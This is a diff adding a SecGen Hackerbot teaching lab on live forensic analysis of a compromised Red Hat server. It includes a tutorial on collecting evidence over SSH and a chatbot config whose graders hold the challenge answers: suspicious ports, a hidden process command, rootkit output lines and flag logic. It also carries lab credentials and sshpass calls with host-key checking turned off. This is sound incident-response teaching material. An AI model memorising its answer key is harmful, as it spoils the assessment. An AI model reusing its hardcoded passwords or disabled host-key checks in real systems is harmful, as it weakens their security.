@@ -0,0 +1,46 @@
|
||||
<?xml version="1.0"?>
|
||||
|
||||
<generator xmlns="http://www.github/cliffe/SecGen/generator"
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://www.github/cliffe/SecGen/generator">
|
||||
<name>Hackerbot config for an investigation an analysis lab</name>
|
||||
<author>Z. Cliffe Schreuders</author>
|
||||
<module_license>GPLv3</module_license>
|
||||
<description>Generates a config file for a hackerbot for a lab.
|
||||
Topics covered: Live Analysis.</description>
|
||||
|
||||
<type>hackerbot_config</type>
|
||||
<platform>linux</platform>
|
||||
|
||||
<read_fact>accounts</read_fact>
|
||||
<read_fact>flags</read_fact>
|
||||
<read_fact>root_password</read_fact>
|
||||
<read_fact>web_server_ip</read_fact>
|
||||
<read_fact>ids_server_ip</read_fact>
|
||||
<read_fact>hackerbot_server_ip</read_fact>
|
||||
|
||||
<!--TODO: require input, such as accounts, or fail?-->
|
||||
|
||||
<default_input into="accounts">
|
||||
<generator type="account">
|
||||
<input into="username">
|
||||
<value>vagrant</value>
|
||||
</input>
|
||||
</generator>
|
||||
</default_input>
|
||||
|
||||
<default_input into="flags">
|
||||
<generator type="flag_generator"/>
|
||||
<generator type="flag_generator"/>
|
||||
<generator type="flag_generator"/>
|
||||
<generator type="flag_generator"/>
|
||||
<generator type="flag_generator"/>
|
||||
</default_input>
|
||||
|
||||
<default_input into="root_password">
|
||||
<value>puppet</value>
|
||||
</default_input>
|
||||
|
||||
<output_type>hackerbot</output_type>
|
||||
|
||||
</generator>
|
||||
@@ -0,0 +1,29 @@
|
||||
<html>
|
||||
<head>
|
||||
<title><%= self.title %></title>
|
||||
</head>
|
||||
<body>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" href="css/github-markdown.css">
|
||||
<style>
|
||||
.markdown-body {
|
||||
box-sizing: border-box;
|
||||
min-width: 200px;
|
||||
max-width: 980px;
|
||||
margin: 0 auto;
|
||||
padding: 45px;
|
||||
}
|
||||
@media (max-width: 767px) {
|
||||
.markdown-body {
|
||||
padding: 15px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
<article class="markdown-body">
|
||||
|
||||
<%= self.html_rendered %>
|
||||
|
||||
</article>
|
||||
<script src="js/code-prettify/loader/run_prettify.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,4 @@
|
||||
## License
|
||||
This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
|
||||
|
||||
Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
|
||||
@@ -0,0 +1,81 @@
|
||||
# Analysis of a Compromised System - Part 1: Online Analysis and Data Collection
|
||||
|
||||
## Getting started
|
||||
### VMs in this lab
|
||||
|
||||
==Start these VMs== (if you haven't already):
|
||||
|
||||
- hackerbot-server (leave it running, you don't log into this)
|
||||
- desktop
|
||||
- server-compromised (user: root password: toor)[^2]
|
||||
|
||||
All of these VMs need to be running to complete the lab.
|
||||
|
||||
==Create a new VM from the Redhat7.2\_Template2 template and give it a name that begins with your "c" number==. **DO NOT START the new VM.**
|
||||
> If you are working on campus in the IMS labs using the oVirt online labs, [*click here for instructions on how to login on campus in the IMS labs and create VMs from templates*](https://docs.google.com/document/d/1SZQmZ8tEmwqzlya5zMCuwTh_C1EqHfMRif09CyilYAE/edit?usp=sharing).
|
||||
|
||||
> If you are working remotely using the oVirt online labs, [*click here for instructions on how to login via VPN and create VMs from templates*](https://docs.google.com/document/d/1zhANC_pz7fNwc_cALxGwPEn3_vls2YjWJUAkUV0BwlI/edit?usp=sharing).
|
||||
|
||||
|
||||
The Compromised Red Hat 7.2 system is based on a server that has been compromised (courtesy of the Honeynet Project[^1]).
|
||||
|
||||
Once you have your compromised server VM, ==add the FIRE IR CD disk==.
|
||||
|
||||
In oVirt, right click on the VM and choose **Change CD**.
|
||||
|
||||
==Select the "fire-0.3.5b.iso"== file from the dropdown box.
|
||||
|
||||
|
||||
==Start the VM and log in as the user specified above.==
|
||||
|
||||
### Your login details for the VMs
|
||||
|
||||
**Desktop:**
|
||||
|
||||
User: <%= $main_user %>
|
||||
Password: tiaspbiqe2r (**t**his **i**s **a** **s**ecure **p**assword **b**ut **i**s **q**uite **e**asy **2** **r**emember)
|
||||
|
||||
**Compromised-Server:**
|
||||
|
||||
User: root
|
||||
Password: toor
|
||||
|
||||
You won't login to the hackerbot_server, but all the VMs need to be running to complete the lab.
|
||||
|
||||
### For marks in the module
|
||||
1. **You need to submit flags**. Note that the flags and the challenges in your VMs are different to other's in the class. Flags will be revealed to you as you complete challenges throughout the module. Flags look like this: ==flag{*somethingrandom*}==. Follow the link on the module page to submit your flags.
|
||||
2. **You need to document the work and your solutions in a workbook**. This needs to include screenshots (including the flags) of how you solved each Hackerbot challenge and a writeup describing your solution to each challenge, and answering any "Workbook Questions". The workbook will be submitted later in the semester.
|
||||
|
||||
## Hackerbot!
|
||||

|
||||
|
||||
This exercise involves interacting with Hackerbot, a chatbot who will task you to investigate the system. If you satisfy Hackerbot by completing the challenges, she will reveal flags to you.
|
||||
|
||||
Work through the below exercises, completing the Hackerbot challenges as noted.
|
||||
|
||||
## Note IP addresses
|
||||
|
||||
**On the Red Hat 7.2 VM:**
|
||||
==Login to the Red Hat 7.2 VM with root and toor.==
|
||||
|
||||
Run "dhcpcd eth0" on the VM to renew its IP address:
|
||||
```bash
|
||||
dhcpcd eth0
|
||||
```
|
||||
|
||||
Note the IP addresses of the redhat and your Desktop VMs. Make a note of the two IP addresses, which should be on the same subnet (starting the same): for example, if both systems include IP addresses starting with 192.168.201 they are on the same network. You will need these IP addresses later.
|
||||
> Check IP addresses using `ifconfig` or `ip a s`
|
||||
|
||||
## Reminder to save
|
||||
|
||||
Remember to **save any evidence you collect**, as this will be used as the basis for the next lab. **You cannot complete the following lab (part 2) without saving the evidence you collect during this lab.** Saving to your Desktop VM should be sufficient.
|
||||
|
||||
---
|
||||
|
||||
## Introduction
|
||||
|
||||
So you have reason to believe one of your servers has experienced a security compromise... What next? For this lab you investigate a real Linux server that was connected to the Internet, and attacked and compromised by unknown remote attackers.
|
||||
|
||||
The investigation of a potential security compromise is closely related to digital forensics topics. As with forensic investigations, we also aim to maintain the integrity of our "evidence", *wherever possible* not modifying access times or other information. However, in a business incident response setting maintaining a chain of evidence may not be our highest priority, since we may be more concerned with other business objectives, such as assuring the confidentiality, integrity, and availability of data and services.
|
||||
|
||||
During analysis, it is good practice to follow the order of volatility (OOV): collecting the most volatile evidence first (such as the contents of RAM, details of processes running, and so on) from a live system, then collecting less volatile evidence (such as data stored on disk) using offline analysis.
|
||||
@@ -0,0 +1,207 @@
|
||||
<%
|
||||
require 'json'
|
||||
require 'securerandom'
|
||||
require 'digest/sha1'
|
||||
require 'fileutils'
|
||||
require 'erb'
|
||||
|
||||
if self.accounts.empty?
|
||||
abort('Sorry, you need to provide an account')
|
||||
end
|
||||
|
||||
$first_account = JSON.parse(self.accounts.first)
|
||||
$second_account = JSON.parse(self.accounts[1])
|
||||
|
||||
$files = []
|
||||
$log_files = []
|
||||
if $second_account.key?("leaked_filenames") && $second_account['leaked_filenames'].size > 0
|
||||
$files = $second_account['leaked_filenames']
|
||||
$log_files = $second_account['leaked_filenames'].grep(/log/)
|
||||
end
|
||||
|
||||
if $files.empty?
|
||||
$files = ['myfile', 'afile', 'filee', 'thefile']
|
||||
end
|
||||
if $log_files.empty?
|
||||
$log_files = ['log', 'thelog', 'logs', 'frogonalog']
|
||||
end
|
||||
|
||||
$main_user = $first_account['username'].to_s
|
||||
$main_user_pass = $first_account['password'].to_s
|
||||
$second_user = $second_account['username'].to_s
|
||||
$example_file = "/home/#{$second_user}/#{$files.sample}"
|
||||
$example_dir = "/home/#{$second_user}/personal_secrets/"
|
||||
|
||||
$web_server_ip = self.web_server_ip.first
|
||||
$ids_server_ip = self.ids_server_ip.first
|
||||
$hackerbot_server_ip = self.hackerbot_server_ip.first
|
||||
$root_password = self.root_password
|
||||
$flags = self.flags
|
||||
|
||||
REQUIRED_FLAGS = 5
|
||||
while $flags.length < REQUIRED_FLAGS
|
||||
$flags << "flag{#{SecureRandom.hex}}"
|
||||
Print.err "Warning: Not enough flags provided to hackerbot_config generator, some flags won't be tracked/marked!"
|
||||
end
|
||||
|
||||
def get_binding
|
||||
binding
|
||||
end
|
||||
%>
|
||||
<?xml version="1.0"?>
|
||||
|
||||
<hackerbot
|
||||
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xsi:schemaLocation="http://www.github/cliffe/SecGen/hackerbot">
|
||||
<!--<hackerbot xmlns="http://www.github/cliffe/SecGen/hackerbotz"-->
|
||||
|
||||
<name>Hackerbot</name>
|
||||
|
||||
<AIML_chatbot_rules>config/AIML</AIML_chatbot_rules>
|
||||
|
||||
<!--Method for gaining shell access, can be overwritten per-attack-->
|
||||
<!--<get_shell>bash</get_shell>-->
|
||||
<get_shell>false</get_shell>
|
||||
|
||||
<messages>
|
||||
<show_attack_numbers />
|
||||
|
||||
<greeting>Hi there. It seems we have a server that's been compromised. Investigate for me, and I'll give you some flags.</greeting>
|
||||
|
||||
<!--Must provide alternatives for each message-->
|
||||
<say_ready>When you are ready, simply say 'ready'.</say_ready>
|
||||
<say_ready>'Ready'?</say_ready>
|
||||
<next>Ok, I'll do what I can to move things along...</next>
|
||||
<next>Moving things along to the next one...</next>
|
||||
<previous>Ok, I'll do what I can to back things up...</previous>
|
||||
<previous>Ok, backing up.</previous>
|
||||
<goto>Ok, skipping it along.</goto>
|
||||
<goto>Let me see what I can do to goto that attack.</goto>
|
||||
<last_attack>That was the last one for now. You can rest easy, until next time... (End.)</last_attack>
|
||||
<last_attack>That was the last one. Game over?</last_attack>
|
||||
<first_attack>You are back to the beginning!</first_attack>
|
||||
<first_attack>This is where it all began.</first_attack>
|
||||
<getting_shell>Doing my thing...</getting_shell>
|
||||
<getting_shell>Here we go...</getting_shell>
|
||||
<got_shell>...</got_shell>
|
||||
<got_shell>....</got_shell>
|
||||
<repeat>Let me know when you are 'ready', if you want to move on say 'next', or 'previous' and I'll move things along.</repeat>
|
||||
<repeat>Say 'ready', 'next', or 'previous'.</repeat>
|
||||
|
||||
<!--Single responses:-->
|
||||
<help>I am waiting for you to say 'ready', 'next', 'previous', 'list', 'goto *X*', or 'answer *X*'</help>
|
||||
<say_answer>Say "The answer is *X*".</say_answer>
|
||||
<no_quiz>There is no question to answer</no_quiz>
|
||||
<correct_answer>Correct</correct_answer>
|
||||
<incorrect_answer>Incorrect</incorrect_answer>
|
||||
<invalid>That's not possible.</invalid>
|
||||
<non_answer>Wouldn't you like to know.</non_answer>
|
||||
|
||||
<!--can be overwritten per-attack-->
|
||||
<shell_fail_message>Oh no. Failed to get shell... You need to let us in.</shell_fail_message>
|
||||
</messages>
|
||||
|
||||
<tutorial_info>
|
||||
<title>Live Analysis</title>
|
||||
<tutorial><%= ERB.new(File.read self.templates_path + 'intro.md.erb').result(self.get_binding) %></tutorial>
|
||||
<footer>
|
||||
<%= File.read self.templates_path + 'resources.md.erb' %>
|
||||
|
||||
<%= File.read self.templates_path + 'license.md.erb' %>
|
||||
|
||||
Randomised instance generated by [SecGen](http://github.com/cliffe/SecGen) (<%= Time.new.to_s %>)
|
||||
</footer>
|
||||
|
||||
<provide_tutorial>true</provide_tutorial>
|
||||
|
||||
</tutorial_info>
|
||||
|
||||
<attack>
|
||||
<% $rand_name1 = SecureRandom.hex(3) %>
|
||||
<pre_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name1 %> /tmp/susp_ports; echo $?; cat /tmp/susp_ports</pre_shell>
|
||||
<get_shell>false</get_shell>
|
||||
<prompt>Create a list of suspicious ports that are open on the compromised system, save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name1 %>.</prompt>
|
||||
|
||||
<condition>
|
||||
<output_matches>65436|65336|3128|2003</output_matches>
|
||||
<message>:) Well done! <%= $flags.pop %>.</message>
|
||||
<trigger_quiz />
|
||||
</condition>
|
||||
<condition>
|
||||
<output_matches>1</output_matches>
|
||||
<message>:( Failed to get file.</message>
|
||||
</condition>
|
||||
<else_condition>
|
||||
<message>:( List is incomplete...</message>
|
||||
</else_condition>
|
||||
|
||||
<quiz>
|
||||
<question>What is the full path of the command used to start listening on port 2003?</question>
|
||||
<answer>/usr/bin/smdb -D</answer>
|
||||
<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
|
||||
<trigger_next_attack />
|
||||
</quiz>
|
||||
|
||||
<tutorial><%= ERB.new(File.read self.templates_path + 'live_evidence_collection.md.erb').result(self.get_binding) %></tutorial>
|
||||
</attack>
|
||||
|
||||
<attack>
|
||||
<% $rand_name2 = SecureRandom.hex(3) %>
|
||||
<pre_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name2 %> /tmp/susp_pids; echo --$?; cat /tmp/susp_pids</pre_shell>
|
||||
<get_shell>false</get_shell>
|
||||
|
||||
<prompt>Create a list of processes (pids) running on the system that are not reported by the local version of ps. Save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name2 %>.</prompt>
|
||||
|
||||
<condition>
|
||||
<output_matches>\b2\b|\b3\b|\b4\b</output_matches>
|
||||
<message>:( Your list includes processes that are not hidden.</message>
|
||||
</condition>
|
||||
<condition>
|
||||
<output_matches>\b5\b.*34|34.*\b5\b</output_matches>
|
||||
<message>:) Well done! <%= $flags.pop %>.</message>
|
||||
<trigger_quiz />
|
||||
</condition>
|
||||
<condition>
|
||||
<output_matches>--1</output_matches>
|
||||
<message>:( Failed to get file.</message>
|
||||
</condition>
|
||||
<else_condition>
|
||||
<message>:( List is incomplete...</message>
|
||||
</else_condition>
|
||||
|
||||
<quiz>
|
||||
<question>What kind of malware hides processes etc?</question>
|
||||
<answer>.*rootkit.*|.*trojan.*|.*Trojan.*</answer>
|
||||
<correct_answer_response>:) <%= $flags.pop %></correct_answer_response>
|
||||
<trigger_next_attack />
|
||||
</quiz>
|
||||
|
||||
</attack>
|
||||
|
||||
<attack>
|
||||
<% $rand_name3 = SecureRandom.hex(3) %>
|
||||
<pre_shell>sshpass -p <%= $root_password %> scp -prv -oStrictHostKeyChecking=no root@{{chat_ip_address}}:/home/<%= $main_user %>/evidence/<%= $rand_name3 %> /tmp/susp_chkrk; echo $?; cat /tmp/susp_chkrk|tail</pre_shell>
|
||||
<get_shell>false</get_shell>
|
||||
|
||||
<prompt>Save the lines in chkrootkit output that indicate an infection. Save to your Desktop VM in /home/<%= $main_user %>/evidence/<%= $rand_name3 %>.</prompt>
|
||||
|
||||
<condition>
|
||||
<output_matches>not infected</output_matches>
|
||||
<message>:( Your list includes lines that do not indicate infection.</message>
|
||||
</condition>
|
||||
<condition>
|
||||
<output_matches>ps.*INFECTED</output_matches>
|
||||
<message>:) Well done! <%= $flags.pop %>.</message>
|
||||
<trigger_next_attack />
|
||||
</condition>
|
||||
<condition>
|
||||
<output_matches>1</output_matches>
|
||||
<message>:( Failed to get file.</message>
|
||||
</condition>
|
||||
<else_condition>
|
||||
<message>:( Something was not right...</message>
|
||||
</else_condition>
|
||||
|
||||
</attack>
|
||||
|
||||
</hackerbot>
|
||||
@@ -0,0 +1,121 @@
|
||||
<html>
|
||||
<head>
|
||||
<title><%= self.title %></title>
|
||||
</head>
|
||||
<body>
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<link rel="stylesheet" href="css/github-markdown.css">
|
||||
<style>
|
||||
.markdown-body {
|
||||
box-sizing: border-box;
|
||||
min-width: 200px;
|
||||
max-width: 980px;
|
||||
margin: 0 auto;
|
||||
padding: 45px;
|
||||
}
|
||||
.markdown-body h4[id^='hackerbot']:after {
|
||||
display: inline-block;
|
||||
float: right;
|
||||
content: url("images/skullandusb.svg");
|
||||
width: 30px;
|
||||
}
|
||||
article {
|
||||
float: right;
|
||||
width: calc(100% - 300px);
|
||||
}
|
||||
.toc {
|
||||
float: left;
|
||||
font-size: smaller;
|
||||
color: #1a1d22;
|
||||
width: 300px;
|
||||
position: fixed;
|
||||
height: calc(100% - 56px);
|
||||
overflow-y: scroll;
|
||||
font-family: sans-serif;
|
||||
margin-top: 50px;
|
||||
}
|
||||
.toc ul {
|
||||
list-style-type: none;
|
||||
padding: 0;
|
||||
margin-left: 1em;
|
||||
}
|
||||
.toc li { /* Space between menu items*/
|
||||
margin: 1em 0;
|
||||
}
|
||||
.toc a {
|
||||
color: #1a1d22;
|
||||
text-decoration: none;
|
||||
}
|
||||
.toc a:hover {
|
||||
color: #6c036d;
|
||||
text-decoration: none;
|
||||
}
|
||||
.toc a:visited {
|
||||
color: #1a1d22;
|
||||
text-decoration: none;
|
||||
}
|
||||
.markdown-body pre {
|
||||
background-color: #570138;
|
||||
color: whitesmoke;
|
||||
}
|
||||
.markdown-body p code span {
|
||||
color: black !important;
|
||||
}
|
||||
.markdown-body p code {
|
||||
background-color: whitesmoke;
|
||||
border: 1px solid #eaecef;
|
||||
}
|
||||
.markdown-body img[alt="small-left"] {
|
||||
max-width: 100px;
|
||||
float: left;
|
||||
}
|
||||
.markdown-body img[alt="small-right"] {
|
||||
max-width: 100px;
|
||||
float: right;
|
||||
}
|
||||
.markdown-body img[alt="tiny-right"] {
|
||||
max-width: 30px;
|
||||
float: right;
|
||||
}
|
||||
.markdown-body img[alt="small"] {
|
||||
max-width: 100px;
|
||||
display: block;
|
||||
margin-left: auto;
|
||||
margin-right: auto;
|
||||
padding: 15px;
|
||||
}
|
||||
mark {
|
||||
background-color: white;
|
||||
color: #5b29bd;
|
||||
font-weight: bolder;
|
||||
}
|
||||
@media (max-width: 767px) {
|
||||
.markdown-body {
|
||||
padding: 15px;
|
||||
min-width: 200px;
|
||||
max-width: 980px;
|
||||
}
|
||||
.toc {
|
||||
float: none;
|
||||
width: 100%;
|
||||
position: relative;
|
||||
overflow: auto;
|
||||
height: auto;
|
||||
}
|
||||
article {
|
||||
float: none;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
}
|
||||
</style>
|
||||
<div class="toc">
|
||||
<%= self.html_TOC_rendered %>
|
||||
</div>
|
||||
|
||||
<article class="markdown-body">
|
||||
<%= self.html_rendered %>
|
||||
</article>
|
||||
<script src="js/code-prettify/loader/run_prettify.js?autoload=true&skin=sunburst&lang=css"></script>
|
||||
</body>
|
||||
</html>
|
||||
@@ -0,0 +1,6 @@
|
||||
## License
|
||||
This lab by [*Z. Cliffe Schreuders*](http://z.cliffe.schreuders.org) at Leeds Beckett University is licensed under a [*Creative Commons Attribution-ShareAlike 3.0 Unported License*](http://creativecommons.org/licenses/by-sa/3.0/deed.en_GB).
|
||||
|
||||
Included software source code is also licensed under the GNU General Public License, either version 3 of the License, or (at your option) any later version.
|
||||
|
||||

|
||||
@@ -0,0 +1,343 @@
|
||||
## Live analysis
|
||||
|
||||
After suspecting a compromise, before powering down the server for offline analysis, the first step is typically to perform some initial investigation of the live system. Live analysis aims to investigate suspicions that a compromise has occurred, and gather volatile information, which may potentially include evidence that would be lost by powering down the computer.
|
||||
|
||||
**On the compromised VM (Redhat7.2):** To keep a record of what we are doing on the system, start the script command:
|
||||
|
||||
```bash
|
||||
mkdir /tmp/evid
|
||||
script -f /tmp/evid/invst.log
|
||||
```
|
||||
> Note: *if you do this lab over multiple sessions*, be sure to save the log of your progress (/tmp/evid/invst.log), and restart `script`.
|
||||
|
||||
==LogBook question: Make a note of the risks and benefits associated with storing a record of what we are doing locally on the computer that we are investigating.==
|
||||
|
||||
Consider the advantages of *handwritten* documentation of what investigators are doing.
|
||||
|
||||
Many of the commands used to investigate what is happening on a system are standard Unix commands. However, it is advisable to run these from a read-only source, since software on your system may have been tampered with. Also, using read-only media minimises the changes made to your local filesystem, such as executable file access times.
|
||||
|
||||
During preparation, you configured the compromised VM to have access to the FIRE (Forensic and Incident Response Environment) CD/DVD ISO (which is equivalent to inserting the optical disk into your server's DVD-tray). FIRE is an example of a Linux Live Disk that includes tools for forensic investigation. In addition to being able to boot to a version of Linux for offline investigation of evidence, the disk contains Linux tools for live analysis.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, ==mount the disk==, so that we can access its contents:
|
||||
|
||||
```bash
|
||||
mount /dev/hdc /mnt/cdrom/
|
||||
```
|
||||
|
||||
On a typical system, many binary executables are dynamically linked; that is, these programs do not physically contain all the libraries (shared code) they use, and instead load that code from shared library files when the program runs. On Unix systems the shared code is typically contained in ".so" files, while on Windows ".dll" files contain shared code. The risks associated with using dynamically linked executables to investigate security breaches is that access times on the shared objects will be updated, and the shared code may also have been tampered with. For this reason it is safest to use programs that are statically linked; that is, have been compiled to physically contain a copy of all of the shared code that it uses.
|
||||
|
||||
**On your Desktop VM** ==look at which libraries are dynamically loaded== when you run a typical command:
|
||||
|
||||
```bash
|
||||
ldd /bin/ls
|
||||
```
|
||||
|
||||
Examine the output, and determine how many external libraries are involved.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**: The FIRE disk contains a number of statically compiled programs to be used for investigations. ==Check that these are indeed statically linked:==
|
||||
|
||||
```bash
|
||||
ldd /mnt/cdrom/statbins/linux2.2_x86/ls
|
||||
```
|
||||
|
||||
==Compare the output to the previous command== run on your own Desktop system. The output will be distinctly different, stating that the program is not dynamically compiled.
|
||||
|
||||
Note that, although an improvement, using statically linked programs such as these still do not guarantee that you can trust the output of the programs you run. Consider why, and make a note of this.
|
||||
|
||||
## Collecting live state manually
|
||||
|
||||
The next step is to use tools to capture information about the live system, for later analysis. One approach to storing the resulting evidence is to send results over the network via Netcat or SSH, without storing them locally. This has the advantage of not changing local files, and is less likely to tip off an attacker, rather than storing the evidence on the compromised machine.
|
||||
|
||||
### Comparing process lists
|
||||
|
||||
**On your Desktop VM**, check ensure the local SSH server (sshd) is running on your system.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, test sending the results of some commands (process lists using ps) over SSH to your Desktop VM:
|
||||
|
||||
> Note: if the VM is not using a UK keyboard layout, the @ and " symbols may be reversed, and the | symbol is located at the \~. Alternatively, run `loadkeys uk` in the RedHat VM to swap to a UK keyboard layout
|
||||
|
||||
```bash
|
||||
ssh <%= $main_user %>@*desktop-IP-address* "mkdir evidence"
|
||||
|
||||
ps aux | ssh <%= $main_user %>@*desktop-IP-address* "cat > evidence/ps_out"
|
||||
```
|
||||
|
||||
> (Where *desktop-IP-address* is the IP address of your *desktop VM*, which should be on the same subnet as your compromised VM)
|
||||
|
||||
==LogBook question: Why might it not be a good idea to ssh to your own account (if you had one on a Desktop in real life) and type your own password from the compromised system? What are some more secure alternatives?==
|
||||
|
||||
**On your Desktop VM**, find the newly created files and view the contents.
|
||||
|
||||
> Hint: you may wish to use the Dolphin graphical file browser, then navigate to "/home/<%= $main_user %>/evidence".
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, run the statically compiled version of ls from the incident response disk to list the contents of /proc (this is provided dynamically by the kernel: a directory exists for every process on the system), and once again send the results to your Desktop VM...
|
||||
|
||||
First, to save yourself from having to type `/mnt/cdrom/statbins/linux2.2_x86/` over and over, save that value in a Bash variable:
|
||||
|
||||
```bash
|
||||
export static="/mnt/cdrom/statbins/linux2.2_x86/"
|
||||
```
|
||||
|
||||
Now, to run the statically compiled version of ls, you can run:
|
||||
|
||||
```bash
|
||||
$static/ls
|
||||
```
|
||||
|
||||
Run the command:
|
||||
|
||||
```bash
|
||||
$static/ls /proc | ssh <%= $main_user %>@*desktop-IP-address* "cat > evidence/proc_ls_static"
|
||||
```
|
||||
|
||||
**On your Desktop VM**, find the newly created files and compare the list of pids (numbers representing processes) output from the previous commands. This is the second column of output in the ps\_out, with the numbers in proc\_ls\_static.
|
||||
|
||||
Hint: you can do the comparison manually, or using commands such as "cut" (or [*awk*](http://lmgtfy.com/?q=use+awk+to+print+column)), "sort", and "diff". For example, `cat ps_out | awk '{ print $4 }'` will pipe the contents of the file ps\_out into the awk command, which will split on spaces, and only display the fourth field. Ensure this is displaying the list of pids, if not try selecting a different field. You could pipe this through to "sort". Then save that to a file (by appending " > pids\_ps\_out"). We have covered how to use diff previously. Remember "man awk", "man sort", and "man diff" will tell you about how to use the commands (and Google may also come in handy).
|
||||
|
||||
Are the same processes shown each time? If not, that is very suspicious, and likely indicates a break-in, and that we probably shouldn't trust the output of local commands.
|
||||
|
||||
### Gathering live state using statically compiled programs
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, save a copy of a list inodes of removed files that are still open or executing:
|
||||
|
||||
```bash
|
||||
$static/ils -o /dev/hda1 | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/deleted_out"
|
||||
```
|
||||
> Tip: on VMware VMs, you may need to replace "hda1" with "sda1".
|
||||
|
||||
Save a list of the files currently being accessed by programs:
|
||||
|
||||
```bash
|
||||
$static/lsof | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsof_out"
|
||||
```
|
||||
|
||||
**On your Desktop VM**, open evidence/lsof\_out.
|
||||
|
||||
==LogBook question: Are any of these marked as "(deleted)"? How does this compare to the ils output? What does this indicate?==
|
||||
|
||||
**On the compromised VM (Redhat7.2)**,
|
||||
|
||||
Save a list of network connections:
|
||||
|
||||
```bash
|
||||
$static/netstat -a | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/netstat_out"
|
||||
```
|
||||
> (Some commands such as this one may take awhile to run, wait until the Bash prompt returns)
|
||||
|
||||
Save a list of the network resources currently being accessed by programs:
|
||||
|
||||
```bash
|
||||
$static/lsof -P -i -n | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsof_net_out"
|
||||
```
|
||||
|
||||
Save a copy of the routing table:
|
||||
|
||||
```bash
|
||||
$static/route | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/route_out"
|
||||
```
|
||||
|
||||
Save a copy of the ARP cache:
|
||||
|
||||
```bash
|
||||
$static/arp -a | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/arp_out"
|
||||
```
|
||||
|
||||
Save a list of the kernel modules currently loaded (as reported by the kernel):
|
||||
|
||||
```bash
|
||||
$static/cat /proc/modules | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/lsmod_out"
|
||||
```
|
||||
|
||||
**Creating images of the system state**
|
||||
|
||||
We can take a snapshot of the live state of the computer by dumping the entire contents of memory (what is in RAM/swap) into a file. On a Linux system /proc/kcore contains an ELF-formatted core dump of the kernel. Save a snapshot of the kernel state:
|
||||
|
||||
```bash
|
||||
$static/dd if=/proc/kcore conv=noerror,sync | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/kcore"
|
||||
```
|
||||
|
||||
Next, we can copy entire partitions to our other system, to preserve the exact state of stored data, and so that we can conduct offline analysis without modifying the filesystem.
|
||||
|
||||
Start by identifying the device files for the partitions on the compromised system (Redhat7.2):
|
||||
|
||||
```bash
|
||||
df
|
||||
```
|
||||
|
||||
Note that on this system the root partition (mounted on "/"), is /dev/hda1.
|
||||
|
||||
> Help: on VMware VMs only, you may need to replace "hda1" with "sda1".
|
||||
|
||||
Then, copy byte-for-byte the contents of the root ("/") partition (where /dev/hda1 was identified from the previous command:
|
||||
|
||||
```bash
|
||||
$static/dd if=/dev/hda1 conv=noerror,sync | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/hda1.img"
|
||||
```
|
||||
> Tip: Running this will take some time, so you may wish to continue with the next step while the copying runs.
|
||||
|
||||
This command could be repeated for each partition including swap partitions. For now, let's accept that we have all we need.
|
||||
|
||||
**On your Desktop VM**, list all the files you have created:
|
||||
|
||||
```bash
|
||||
ls -la /home/<%= $main_user %>/evidence
|
||||
```
|
||||
|
||||
At this stage look through some of the information you have collected. For example:
|
||||
|
||||
```bash
|
||||
less /home/<%= $main_user %>/evidence/lsof_net_out
|
||||
```
|
||||
|
||||
Examine the contents of the various output files and identify anything that may indicate that the computer has been compromised by an attacker. Hint: does the network usage seem suspicious?
|
||||
|
||||
### Collecting live state using scripts
|
||||
|
||||
As you may have concluded from the previous tasks, manually collecting all this information from a live system can be a fairly time consuming process. Incident response data collection scripts can automate much of this process. A common data collection script "linux-ir.sh", is included on the FIRE disk, and is also found on the popular Helix IR disk.
|
||||
|
||||
**On the compromised VM (Redhat7.2)**, have a look through the script:
|
||||
|
||||
```bash
|
||||
less /mnt/cdrom/statbins/linux-ir.sh
|
||||
```
|
||||
|
||||
Note that this is a Bash script, and each line contains commands that you could type into the Bash shell. Bash provides the command prompt on most Unix systems, and a Bash script is an automated way of running commands. This script is quite simple, with a series of commands (similar to some of those you have already run) to display information about the running system.
|
||||
|
||||
Identify some commands within the script that collect information you have not already collected above.
|
||||
|
||||
Exit viewing the script (press q).
|
||||
|
||||
Run the data collection script, redirecting output to your Desktop VM:
|
||||
|
||||
```bash
|
||||
cd /mnt/cdrom/statbins/
|
||||
|
||||
./linux-ir.sh | ssh <%= $main_user %>@*Desktop-IP-address* "cat > evidence/ir_out"
|
||||
```
|
||||
|
||||
**On your Desktop VM**, have a look at the output from the script:
|
||||
|
||||
```bash
|
||||
less /home/<%= $main_user %>/evidence/ir_out
|
||||
```
|
||||
|
||||
Use what you have learnt to spot some evidence of a security compromise.
|
||||
|
||||
### Checking for rootkits
|
||||
|
||||
